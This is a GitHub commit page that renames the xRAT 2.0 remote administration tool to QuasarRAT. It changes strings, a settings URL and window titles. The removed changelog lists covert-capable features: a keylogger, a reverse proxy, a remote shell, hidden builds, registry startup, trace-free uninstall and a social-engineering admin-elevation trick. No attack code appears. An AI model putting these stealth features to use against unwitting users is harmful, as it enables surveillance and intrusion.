Skip to content

Commit

Permalink
More renaming
Browse files Browse the repository at this point in the history
  • Loading branch information
MaxXor committed Aug 19, 2015
1 parent b27ab20 commit 82ebb20
Show file tree
Hide file tree
Showing 23 changed files with 56 additions and 257 deletions.
143 changes: 3 additions & 140 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,141 +1,4 @@
Changelog - xRAT 2.0
====================
#QuasarRAT Changelog

xRAT v2.0.0.0 RELEASE4.1 [12.07.2015]
---
* Improved No-Ip.com Updater
* **Fixed networking code**
* Fixed RemoteShell error output
* Some minor bugfixes


xRAT v2.0.0.0 RELEASE4 [14.06.2015]
---
* **Changed Target Framework to .NET Framework 3.5 Client Profile**
* Added Startup Manager
* Added Keylogger
* Added Reverse SOCKS5/HTTPS Proxy
* Added option to show Tooltip on Clients with Information about their System
* Added No-Ip.org Support for dynamic IPs
* **Improved Client & Server network code**
* Added Buffer Manager
* Changed compression from LZ4 to QuickLZ
* Fixed reading of packets with length bigger than buffer size
* Changed buffer size to 1MB
* Improved Remote Desktop support for multiple monitors
* Improved Remote Shell
* Improved Settings
* Improved Builder
* Improved File Transfers
* Improved Updating of Clients
* Fixed threading issues
* Fixed memory leak in Server
* Many other bug fixes and small improvements


xRAT v2.0.0.0 RELEASE3 [10.08.2014]
---
* Optimized connection between Client & Server (!)
* Added UPnP support
* Added Upload & Execute
* Updated Protocol Buffers
* Fixed Keepalive between Client & Server (!)
* Fixed and hardened installation on same computer with new mutex
* Some minor fixes


xRAT v2.0.0.0 RELEASE2 [24.07.2014]
---
* Improved Remote Shell
* Added changeable Assembly Information
* Added Computer Commands (Restart, Shutdown, Standby)
* Added dynamic sizes for system information (easily expandable)
* Added Antivirus & Firewall detection
* Extended File Manager (Execute, Delete, Rename)
* Fixed disposing of modal dialog box
* Some minor fixes


xRAT v2.0.0.0 RELEASE1 [08.07.2014]
---
* Added Icon Changer
* Added Remote Shell
* Added profiles to builder (save/load)
* Added motion detection algorithm to Remote Desktop (40-50% faster)
* Added monitor selection to Remote Desktop
* Improved Admin Elevation (waits 3sec before finally shows)
* Improved System Information
* Improved Task Manager->Start Process
* Improved uninstall command to leave no trace on computer
* Improved settings XMl writer/reader if no settings file exists
* Fixed rare bug with uninstall command
* First Stable Release


xRAT v2.0.0.0 BETA2 [16.05.2014]
---
* Added Update Function
* Added renamer (thx li0nsar3c00l)
* Added loading information to System Information
* Added some additional checks to validate PE-Files in Download & Execute command
* Improved version information
* Admin Elevation Trick now gets the language from the System not from GeoIP(thx Domi)
* Fixed showing wrong country flag when country is unknown
* Some minor design changes


xRAT v2.0.0.0 BETA1 [14.04.2014]
---
* Added custom social engineering tactic to elevate Admin privileges (betabot's trick)
* Supports 9 languages
* Added System Information
* Added Show Messagebox
* Added Visit Website [Hidden/Visible]
* Added support for Mouse to Remote Desktop
* Added new Status for User [Active/Idle]
* Added Statistics for Connected Clients and Traffic
* Added Zone Identifier Deletion after downloading Files
* Added Transferlist to File Manager
* Moved GeoIP Location from Server to Client -> increases speed
* Improved Startup Method
* Improved Remote Desktop
* Improved File Manager
* Improved listview in Main Window
* Fixed rare window focus bug
* Fixed some crashes
* Fixed some minor bugs
* First Beta Release


xRAT v2.0.0.0 ALPHA3 [31.03.2014]
---
* Added Settings encryption to Client
* Added detection of Account Type to Client
* Extended Builder
* Optimized File Manager
* Changed Builder exception message
* Small code changes for future updates
* Fixed flickering listview in File Manager and Task Manager
* Fixed wrong sorting in File Manager
* Fixed Remote Desktop crash when exiting without pressing "Stop" first
* Fixed various crashes and exceptions


xRAT v2.0.0.0 ALPHA2 [22.03.2014]
---
* Added Remote Desktop
* Added Task Manager
* Added File Manager
* Added some icons
* Improved Builder
* Optimized code
* Fixed connection count bug
* Fixed client disconnect bug
* Fixed uninstall not working when Client is built with hidden option
* Fixed deleting registry key while uninstalling Client
* Fixed various crashes and exceptions


xRAT v2.0.0.0 ALPHA1 [16.03.2014]
---
* First Alpha Release
##Quasar v1.0.0.0 [TBD]
* First Release
2 changes: 1 addition & 1 deletion CONTRIBUTING.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@

##Guidelines for Pull Requests:

1. Respect xRAT 2.0 coding style.
1. Respect the coding style of QuasarRAT.
2. Make a single change per commit.
3. Make your modification compact - don't reformat source code in your request. It makes code review more difficult.
4. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted.
Expand Down
2 changes: 1 addition & 1 deletion Server/Core/Data/BuilderProfile.cs
Original file line number Diff line number Diff line change
Expand Up @@ -147,7 +147,7 @@ public string RegistryName
{
get
{
return ReadValueSafe("RegistryName", "xRAT Client Startup");
return ReadValueSafe("RegistryName", "Quasar Client Startup");
}
set
{
Expand Down
2 changes: 2 additions & 0 deletions Server/Core/Data/Settings.cs
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,8 @@ public static class Settings
{
private static readonly string SettingsPath = Path.Combine(Application.StartupPath, "settings.xml");

public static string RepositoryURL = @"https://github.com/quasar/QuasarRAT";

public static ushort ListenPort
{
get
Expand Down
2 changes: 1 addition & 1 deletion Server/Core/ReverseProxy/ReverseProxyClient.cs
Original file line number Diff line number Diff line change
Expand Up @@ -288,7 +288,7 @@ public void Disconnect()
}

/// <summary>
/// xRAT -> ProxyClient
/// Server -> ProxyClient
/// </summary>
/// <param name="payload"></param>
public void SendToClient(byte[] payload)
Expand Down
2 changes: 1 addition & 1 deletion Server/Core/Utilities/NoIpUpdater.cs
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ private static void BackgroundUpdater()
{
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(string.Format("http://dynupdate.no-ip.com/nic/update?hostname={0}", Settings.NoIPHost));
request.Proxy = null;
request.UserAgent = string.Format("xRAT No-Ip Updater/2.0 {0}", Settings.NoIPUsername);
request.UserAgent = string.Format("Quasar No-Ip Updater/2.0 {0}", Settings.NoIPUsername);
request.Timeout = 10000;
request.Headers.Add(HttpRequestHeader.Authorization, string.Format("Basic {0}", Convert.ToBase64String(Encoding.ASCII.GetBytes(string.Format("{0}:{1}", Settings.NoIPUsername, Settings.NoIPPassword)))));
request.Method = "GET";
Expand Down
26 changes: 13 additions & 13 deletions Server/Forms/FrmAbout.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

5 changes: 3 additions & 2 deletions Server/Forms/FrmAbout.cs
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
using System;
using System.Diagnostics;
using System.Windows.Forms;
using xServer.Core.Data;

namespace xServer.Forms
{
Expand All @@ -13,8 +14,8 @@ public FrmAbout()
lblVersion.Text = "v" + Application.ProductVersion;
rtxtContent.Text = Properties.Resources.TermsOfUse;

lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = "https://github.com/quasar/QuasarRAT" });
lnkCredits.Links.Add(new LinkLabel.Link { LinkData = "https://github.com/quasar/QuasarRAT#credits" });
lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL });
lnkCredits.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL + "#credits" });
}

private void lnkGithubPage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
Expand Down
37 changes: 1 addition & 36 deletions Server/Forms/FrmFileManager.cs
Original file line number Diff line number Diff line change
Expand Up @@ -322,7 +322,7 @@ private void btnOpenDLFolder_Click(object sender, EventArgs e)
if (Directory.Exists(_connectClient.Value.DownloadDirectory))
Process.Start(_connectClient.Value.DownloadDirectory);
else
MessageBox.Show("No files downloaded yet!", "xRAT 2.0 - File Manager", MessageBoxButtons.OK,
MessageBox.Show("No files downloaded yet!", "File Manager", MessageBoxButtons.OK,
MessageBoxIcon.Information);
}

Expand Down Expand Up @@ -474,13 +474,6 @@ public void AddDrives(RemoteDrive[] drives)
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}

public void ClearFileBrowser()
Expand All @@ -495,13 +488,6 @@ public void ClearFileBrowser()
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}

public void AddItemToFileBrowser(ListViewItem lvi)
Expand All @@ -516,13 +502,6 @@ public void AddItemToFileBrowser(ListViewItem lvi)
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}

public void AddTransfer(int id, string status, string filename)
Expand All @@ -539,13 +518,6 @@ public void AddTransfer(int id, string status, string filename)
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}

public int GetTransferIndex(int id)
Expand Down Expand Up @@ -586,13 +558,6 @@ public void UpdateTransferStatus(int index, string status, int imageIndex)
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}

/// <summary>
Expand Down
14 changes: 0 additions & 14 deletions Server/Forms/FrmKeylogger.cs
Original file line number Diff line number Diff line change
Expand Up @@ -81,13 +81,6 @@ public void AddLogToListview(string logName)
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}

public void SetGetLogsEnabled(bool enabled)
Expand All @@ -102,13 +95,6 @@ public void SetGetLogsEnabled(bool enabled)
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}

private void lstLogs_ColumnClick(object sender, ColumnClickEventArgs e)
Expand Down
6 changes: 3 additions & 3 deletions Server/Forms/FrmMain.cs
Original file line number Diff line number Diff line change
Expand Up @@ -65,8 +65,8 @@ public void UpdateWindowTitle()
{
int selected = lstClients.SelectedItems.Count;
this.Text = (selected > 0) ?
string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", ConServer.ConnectedAndAuthenticatedClients, selected) :
string.Format("xRAT 2.0 - Connected: {0}", ConServer.ConnectedAndAuthenticatedClients);
string.Format("Quasar - Connected: {0} [Selected: {1}]", ConServer.ConnectedAndAuthenticatedClients, selected) :
string.Format("Quasar - Connected: {0}", ConServer.ConnectedAndAuthenticatedClients);
});
}
catch
Expand Down Expand Up @@ -753,7 +753,7 @@ private void menuBuilder_Click(object sender, EventArgs e)
private void menuStatistics_Click(object sender, EventArgs e)
{
if (ConServer.BytesReceived == 0 || ConServer.BytesSent == 0)
MessageBox.Show("Please wait for at least one connected Client!", "xRAT 2.0", MessageBoxButtons.OK,
MessageBox.Show("Please wait for at least one connected Client!", "Quasar", MessageBoxButtons.OK,
MessageBoxIcon.Information);
else
{
Expand Down
Loading

0 comments on commit 82ebb20

Please sign in to comment.